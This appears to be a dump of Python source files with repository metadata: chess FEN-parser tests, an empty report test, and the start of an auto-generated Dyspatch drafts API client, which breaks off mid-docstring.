with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position test = Fen(fen = 'rnbkkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQQB1R b KQkq - 1 2') # input of corrected board element assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' # ----------------------------------------------------------- 4 tests: total 85 # -------------------- castling: Board incorrect ------------------------------ def test_castling_KQkq_Passed(good_fen): test = Fen(good_fen) assert test.castling == 'KQkq' def test_KQkq_Wht_K_Moved(): test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/8/PPPPKPPP/RNBQ1B1R w KQkq - 2 2') # after 1 e4 e5 2 Ke2 # system should change castling automatically to 'kq' assert test.castling == 'kq' def test_KQkq_Blk_K_Moved(): test = Fen('rnbq1bnr/ppppkppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 2 3') # after 1e4 e5 2 Nf3 Ke7 # system should change castling automatically to 'KQ' assert test.castling == 'KQ' def test_KQkq_Wht_KR_Moved(): test = Fen('r1bqkbnr/pppp1ppp/2N5/4p3/4P3/8/PPPP1PPP/RNBQKBR1 w KQkq - 3 3') # after 1 e4 e5 2 Nf3 Nc6 3 Rg1 # system should change castling automatically to 'Qkq' assert test.castling == 'Qkq' def test_KQkq_Blk_KR_Moved(): test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/2N2N2/PPPP1PPP/RNBQKB1R w KQkq - 4 4') # after 1 e4 e5 2 Nf3 Nf6 3 Nc3 Rg8 # system should change castling automatically to 'KQq' assert test.castling == 'KQq' def test_KQkq_Both_KR_Moved(): test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/5N2/PPPP1PPP/RNBQKBR1 w KQkq - 4 4') # after 1 e4 e5 2 Nf3 Nf6 3 Rg1 Rg8 # system should change castling automatically to 'Qq' assert test.castling == 'Qq' def test_KQkq_Wht_QR_Moved(): test = Fen('r1bqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b KQkq - 3 2') # after 1 Nc3 Nc6 2 Rb1 # system should change castling automatically to 'Kkq' assert test.castling == 'Kkq' def test_KQkq_Blk_QR_Moved(): test = Fen('1rbqkbnr/pppppppp/2N5/8/4P3/2N5/PPPP1PPP/R1BQKBNR b KQkq - 1 3') # after 1 Nc3 Nc6 2 e4 Rb8 # system should change castling automatically to 'KQk' assert test.castling == 'KQk' def test_KQkq_Both_QR_Moved(): test = Fen('1rbqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b KQkq - 1 3') # after 1 Nc3 Nc6 2 Rb1 Rb8 # system should change castling automatically to 'Kk' assert test.castling == 'Kk' def test_KQk_Passed_position_unclear(): # Blk Rook moved and moved back test = Fen('r1bqkb1r/ppp2ppp/2np1n2/4p3/4P3/2NP1N2/PPP2PPP/R1BQKB1R w KQk -') # in this position it is not clear whether or not the Kings or Rooks # have moved as each Rook could have moved and moved back and the kings # could have moved and directly moved back or taken a triangluar # route back to their original square. assert test.castling == 'KQk' # program accepts input #random selection of other possibilities def test_KQq_Wht_K_Moved(): test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/8/PPPPKPPP/RNBQ1B1R w KQq - 2 2') # after 1 e4 e5 2 Ke2 # system should change castling automatically to 'q' as passed value implies # q-side castling still Ok, but not so given Wnt K position assert test.castling == 'q' def test_KQq_Wht_KR_Moved(): test = Fen('r1bqkbnr/pppp1ppp/2N5/4p3/4P3/8/PPPP1PPP/RNBQKBR1 w KQq - 3 3') # after 1 e4 e5 2 Nf3 Nc6 3 Rg1 # accepting the implied input that Blk KR moved and moved back the system # should change castling automatically to 'Qq' assert test.castling == 'Qq' def test_KQk_Blk_K_Moved(): test = Fen('rnbq1bnr/ppppkppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R w KQk - 2 3') # after 1e4 e5 2 Nf3 Ke7 # system should change agree to passed value 'KQ' assert test.castling == 'KQ' def test_KQ_Blk_KR_Moved(): test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/2N2N2/PPPP1PPP/RNBQKB1R w KQ - 4 4') # after 1 e4 e5 2 Nf3 Nf6 3 Nc3 Rg8 # system should leave castling as 'KQ' assert test.castling == 'KQ' def test_Kkq_Both_KR_Moved(): test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/5N2/PPPP1PPP/RNBQKBR1 w Kkq - 4 4') # after 1 e4 e5 2 Nf3 Nf6 3 Rg1 Rg8 # system should change castling automatically to 'q' assert test.castling == 'q' def test_Qkq_Wht_QR_Moved(): test = Fen('r1bqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b Qkq - 3 2') # after 1 Nc3 Nc6 2 Rb1 # system should change castling automatically to 'Kkq' assert test.castling == 'kq' def test_Qkq_Blk_QR_Moved(): test = Fen('1rbqkbnr/pppppppp/2N5/8/4P3/2N5/PPPP1PPP/R1BQKBNR b Qkq - 1 3') # after 1 Nc3 Nc6 2 e4 Rb8 # system should change castling automatically to 'KQk' assert test.castling == 'Qk' def test_Qkq_Both_QR_Moved(): test = Fen('1rbqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b Qkq - 1 3') # after 1 Nc3 Nc6 2 Rb1 Rb8 # system should change castling automatically to 'Kk' assert test.castling == 'k' # --------------------------------------------------------- 18 tests: total 103 # -------------------- test board display ------------------------------------- def test_boardDisplay(): test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') y = test.boardToArray('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R') assert y == [' \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n', ' \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n', ' . . . . . . . . \n', ' . . . . \x1b[31mp \x1b[0m. . . \n', ' . . . . P . . . \n', ' . . . . . N . . \n', ' P P P P . P P P \n', ' R N B Q K B . R \n'] test.displayBoard(y) z = test.augmentBoard() assert z == ['\x1b[32m\n a b c d e f g h \n\x1b[0m', '\x1b[32m 8 \x1b[0m \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n', '\x1b[32m 7 \x1b[0m \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n', '\x1b[32m 6 \x1b[0m . . . . . . . . \n', '\x1b[32m 5 \x1b[0m . . . . \x1b[31mp \x1b[0m. . . \n', '\x1b[32m 4 \x1b[0m . . . . P . . . \n', '\x1b[32m 3 \x1b[0m . . . . . N . . \n', '\x1b[32m 2 \x1b[0m P P P P . P P P \n', '\x1b[32m 1 \x1b[0m R N B Q K B . R \n'] test.displayBoard(z) def test_boardDisplayNotExplicit(): test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') y = test.boardToArray('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R') assert y == [' \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n', ' \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n', ' . . . . . . . . \n', ' . . . . \x1b[31mp \x1b[0m. . . \n', ' . . . . P . . . \n', ' . . . . . N . . \n', ' P P P P . P P P \n', ' R N B Q K B . R \n'] test.displayBoard() z = test.augmentBoard() assert z == ['\x1b[32m\n a b c d e f g h \n\x1b[0m', '\x1b[32m 8 \x1b[0m \x1b[31mr \x1b[0m\x1b[31mn \x1b[0m\x1b[31mb \x1b[0m\x1b[31mq \x1b[0m\x1b[31mk \x1b[0m\x1b[31mb \x1b[0m\x1b[31mn \x1b[0m\x1b[31mr \x1b[0m\n', '\x1b[32m 7 \x1b[0m \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m. \x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\x1b[31mp \x1b[0m\n', '\x1b[32m 6 \x1b[0m . . . . . . . . \n', '\x1b[32m 5 \x1b[0m . . . . \x1b[31mp \x1b[0m. . . \n', '\x1b[32m 4 \x1b[0m . . . . P . . . \n', '\x1b[32m 3 \x1b[0m . . . . . N . . \n', '\x1b[32m 2 \x1b[0m P P P P . P P P \n', '\x1b[32m 1 \x1b[0m R N B Q K B . R \n'] test.displayBoard() # ---------------------------------------------------------- 2 tests: total 105 # -------------------- too many pawns on board -------------------------------- def test_tooManyWhitePawns(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2P5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') # input of corrected board element assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_tooManyBlackPawns(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4p3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') # input of corrected board element assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' # ---------------------------------------------------------- 2 tests: total 107 # ------------------- pawns on 1st or 8th rank -------------------------------- def test_whtPawnsOn1st(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPP2PPP/RNPQKB1R b KQkq - 1 2') def test_whtPawnsOn8th(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen('rnbqkPnr/pppp1ppp/8/4p3/4P3/5N2/PPP2PPP/RNBQKB1R b KQkq - 1 2') def test_blkPawnsOn1st(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen('rnbqkbnr/ppp2ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKp1R b KQkq - 1 2') def test_blkPawnsOn8th(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen('rnbqkpnr/ppp2ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') # ---------------------------------------------------------- 4 tests: total 111

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0.858237

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0.805065

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185

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0.664123

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1

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false

0.003063

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null

0

1

0

null

0

1

0

7

a7fbddb7192c34e64abe1b2c0a3f39fddad2657e

62

py

Python

tests/test_report.py

damani42/jeeves

955ac418292538955fd63b1fc0744169219d345f

[ "MIT" ]

null

tests/test_report.py

damani42/jeeves

955ac418292538955fd63b1fc0744169219d345f

[ "MIT" ]

null

tests/test_report.py

damani42/jeeves

955ac418292538955fd63b1fc0744169219d345f

[ "MIT" ]

null

from jeeves.report import * def test_run_report(): pass

10.333333

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0.209677

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0

1

0

null

0

1

0

1

0

7

3ddb091c4369032da08b8a430060bac9eb7e68ee

56,357

py

Python

dyspatch_client/api/drafts_api.py

getdyspatch/dyspatch-python

23ffb05eff820944acf235fa3b225bf8caec903d

[ "Apache-2.0" ]

null

dyspatch_client/api/drafts_api.py

getdyspatch/dyspatch-python

23ffb05eff820944acf235fa3b225bf8caec903d

[ "Apache-2.0" ]

null

dyspatch_client/api/drafts_api.py

getdyspatch/dyspatch-python

23ffb05eff820944acf235fa3b225bf8caec903d

[ "Apache-2.0" ]

null

# coding: utf-8 """ Dyspatch API # Introduction The Dyspatch API is based on the REST paradigm, and features resource based URLs with standard HTTP response codes to indicate errors. We use standard HTTP authentication and request verbs, and all responses are JSON formatted. See our [Implementation Guide](https://docs.dyspatch.io/development/implementing_dyspatch/) for more details on how to implement Dyspatch. ## API Client Libraries Dyspatch provides API Clients for popular languages and web frameworks. - [Java](https://github.com/getdyspatch/dyspatch-java) - [Javascript](https://github.com/getdyspatch/dyspatch-javascript) - [Python](https://github.com/getdyspatch/dyspatch-python) - [C#](https://github.com/getdyspatch/dyspatch-dotnet) - [Go](https://github.com/getdyspatch/dyspatch-golang) - [Ruby](https://github.com/getdyspatch/dyspatch-ruby) # noqa: E501 The version of the OpenAPI document: 2020.11 Contact: support@dyspatch.io Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from dyspatch_client.api_client import ApiClient from dyspatch_client.exceptions import ( # noqa: F401 ApiTypeError, ApiValueError ) class DraftsApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def delete_localization(self, draft_id, language_id, accept, **kwargs): # noqa: E501 """Remove a localization # noqa: E501 Deletes the localization with the given language ID if it exists # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_localization(draft_id, language_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str language_id: A language ID (eg: en-US) (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_localization_with_http_info(draft_id, language_id, accept, **kwargs) # noqa: E501 def delete_localization_with_http_info(self, draft_id, language_id, accept, **kwargs): # noqa: E501 """Remove a localization # noqa: E501 Deletes the localization with the given language ID if it exists # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_localization_with_http_info(draft_id, language_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str language_id: A language ID (eg: en-US) (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'draft_id', 'language_id', 'accept' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_localization" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'draft_id' is set if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501 local_var_params['draft_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `draft_id` when calling `delete_localization`") # noqa: E501 # verify the required parameter 'language_id' is set if self.api_client.client_side_validation and ('language_id' not in local_var_params or # noqa: E501 local_var_params['language_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `language_id` when calling `delete_localization`") # noqa: E501 # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `delete_localization`") # noqa: E501 collection_formats = {} path_params = {} if 'draft_id' in local_var_params: path_params['draftId'] = local_var_params['draft_id'] # noqa: E501 if 'language_id' in local_var_params: path_params['languageId'] = local_var_params['language_id'] # noqa: E501 query_params = [] header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts/{draftId}/localizations/{languageId}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_draft_by_id(self, draft_id, target_language, accept, **kwargs): # noqa: E501 """Get Draft by ID # noqa: E501 Gets a draft object with the matching ID. The \"compiled\" field will contain the template in the default, unlocalized form. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_draft_by_id(draft_id, target_language, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str target_language: The type of templating language to compile as. Should only be used for visual templates. (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: DraftRead If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_draft_by_id_with_http_info(draft_id, target_language, accept, **kwargs) # noqa: E501 def get_draft_by_id_with_http_info(self, draft_id, target_language, accept, **kwargs): # noqa: E501 """Get Draft by ID # noqa: E501 Gets a draft object with the matching ID. The \"compiled\" field will contain the template in the default, unlocalized form. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_draft_by_id_with_http_info(draft_id, target_language, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str target_language: The type of templating language to compile as. Should only be used for visual templates. (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(DraftRead, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'draft_id', 'target_language', 'accept' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_draft_by_id" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'draft_id' is set if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501 local_var_params['draft_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `draft_id` when calling `get_draft_by_id`") # noqa: E501 # verify the required parameter 'target_language' is set if self.api_client.client_side_validation and ('target_language' not in local_var_params or # noqa: E501 local_var_params['target_language'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `target_language` when calling `get_draft_by_id`") # noqa: E501 # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `get_draft_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'draft_id' in local_var_params: path_params['draftId'] = local_var_params['draft_id'] # noqa: E501 query_params = [] if 'target_language' in local_var_params and local_var_params['target_language'] is not None: # noqa: E501 query_params.append(('targetLanguage', local_var_params['target_language'])) # noqa: E501 header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts/{draftId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DraftRead', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_draft_localization_keys(self, draft_id, accept, **kwargs): # noqa: E501 """Get localization keys # noqa: E501 Returns the list of values that need to be translated for the draft. Set the `Accept` header to `application/vnd.dyspatch.2020.11+json` to get a JSON object, or `text/vnd.dyspatch.2020.11+x-gettext-translation` to get the POT file. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_draft_localization_keys(draft_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[LocalizationKeyRead] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_draft_localization_keys_with_http_info(draft_id, accept, **kwargs) # noqa: E501 def get_draft_localization_keys_with_http_info(self, draft_id, accept, **kwargs): # noqa: E501 """Get localization keys # noqa: E501 Returns the list of values that need to be translated for the draft. Set the `Accept` header to `application/vnd.dyspatch.2020.11+json` to get a JSON object, or `text/vnd.dyspatch.2020.11+x-gettext-translation` to get the POT file. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_draft_localization_keys_with_http_info(draft_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[LocalizationKeyRead], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'draft_id', 'accept' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_draft_localization_keys" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'draft_id' is set if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501 local_var_params['draft_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `draft_id` when calling `get_draft_localization_keys`") # noqa: E501 # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `get_draft_localization_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'draft_id' in local_var_params: path_params['draftId'] = local_var_params['draft_id'] # noqa: E501 query_params = [] header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts/{draftId}/localizationKeys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[LocalizationKeyRead]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_drafts(self, accept, **kwargs): # noqa: E501 """List Drafts # noqa: E501 Returns all drafts for your organization. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_drafts(accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param str cursor: A cursor value used to retrieve a specific page from a paginated result set. :param str status: Filter the list of drafts by a particular status :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: DraftsRead If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_drafts_with_http_info(accept, **kwargs) # noqa: E501 def get_drafts_with_http_info(self, accept, **kwargs): # noqa: E501 """List Drafts # noqa: E501 Returns all drafts for your organization. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_drafts_with_http_info(accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param str cursor: A cursor value used to retrieve a specific page from a paginated result set. :param str status: Filter the list of drafts by a particular status :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(DraftsRead, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'accept', 'cursor', 'status' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_drafts" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `get_drafts`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'cursor' in local_var_params and local_var_params['cursor'] is not None: # noqa: E501 query_params.append(('cursor', local_var_params['cursor'])) # noqa: E501 if 'status' in local_var_params and local_var_params['status'] is not None: # noqa: E501 query_params.append(('status', local_var_params['status'])) # noqa: E501 header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DraftsRead', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_localization_for_draft(self, draft_id, accept, **kwargs): # noqa: E501 """Get localizations on a draft # noqa: E501 Returns localization metadata for the draft # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_localization_for_draft(draft_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param 